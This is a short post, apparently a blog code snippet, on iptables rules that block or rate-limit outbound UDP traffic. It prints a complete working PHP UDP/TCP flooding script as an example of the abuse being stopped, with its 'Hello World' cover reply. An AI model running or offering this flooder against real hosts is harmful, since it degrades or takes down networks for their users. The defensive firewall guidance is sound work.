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Code Snippet: iptables settings to prevent UDP abuse (flood protection)

Prevent UDP flood

Some basic iptables settings can prevent UDP flood from happening.

The Attacker

Here’s an example of the kinds of apps that were being used. This simple PHP app floods random UDP ports with very large packets continuously. This can degrade or cause failure for an entire subnet.

ignore_user_abort(TRUE);
set_time_limit(0);
if(!isset($_GET['h']))
        exit('Hello World');
$lol = gethostbyname($_GET['h']);
$out = 'v';
for($i=0;$i<65535;$i++) $out .= 'X';
$dt = 10;
if(isset($_GET['t']))
        $dt = (int)$_GET['t'];
if(isset($_GET['type']))
{
  if($_GET['type'] == 'tcp')
 { 
    $posttype = 'tcp://';
 }
 else
 {
    $posttype = 'udp://';
 }
}
else
{
  $posttype = 'udp://';
}
$ti = time();
$mt = $ti + $dt;
while(time() < $mt){
    if(isset($_GET['p']))
      $port = $_GET['p'];
    else $port = rand(1,65000);
        $sock = fsockopen($posttype.$lol, $port, $errno, $errstr, 1);
        if($sock){
                ++$p;
                $fwriteFile = fwrite($sock, $out);
                fclose($sock);
        }
}
$ps = round(($p*65536)/1024/1024, 3);
$dt = time() - $ti;
echo "$lol flooded with $p packets. $ps MB sent over $dt seconds. ( ".round($ps / $dt, 3)." MB/s ) $fwriteFile";

The Solution

Generally speaking, there’s no need to allow UDP traffic other than DNS.

All non-essential UDP traffic can be completely blocked with the following settings:

# allow dns requests to google nameservers
 iptables -A OUTPUT -p udp --dport 53 -d 8.8.8.8 -j ACCEPT
 iptables -A OUTPUT -p udp --dport 53 -d 8.8.4.4 -j ACCEPT
# block all other udp
 iptables -A OUTPUT -p udp -j DROP
 ip6tables -A OUTPUT -p udp -j DROP

Gist: https://gist.github.com/thoward/24b0102355331dd6dd3b

Alternatively, rate limiting can be employed as a more tolerant measure:

# Outbound UDP Flood protection in a user defined chain.
 iptables -N udp-flood
 iptables -A OUTPUT -p udp -j udp-flood
 iptables -A udp-flood -p udp -m limit --limit 50/s -j RETURN
 iptables -A udp-flood -j LOG --log-level 4 --log-prefix 'UDP-flood attempt: '
 iptables -A udp-flood -j DROP

Gist: https://gist.github.com/thoward/6180165

Note: You’ll probably want to remove the log entry before this goes to production. Disks filling up with logs from rate limiting can crash your servers too!

Source: Troy Howard

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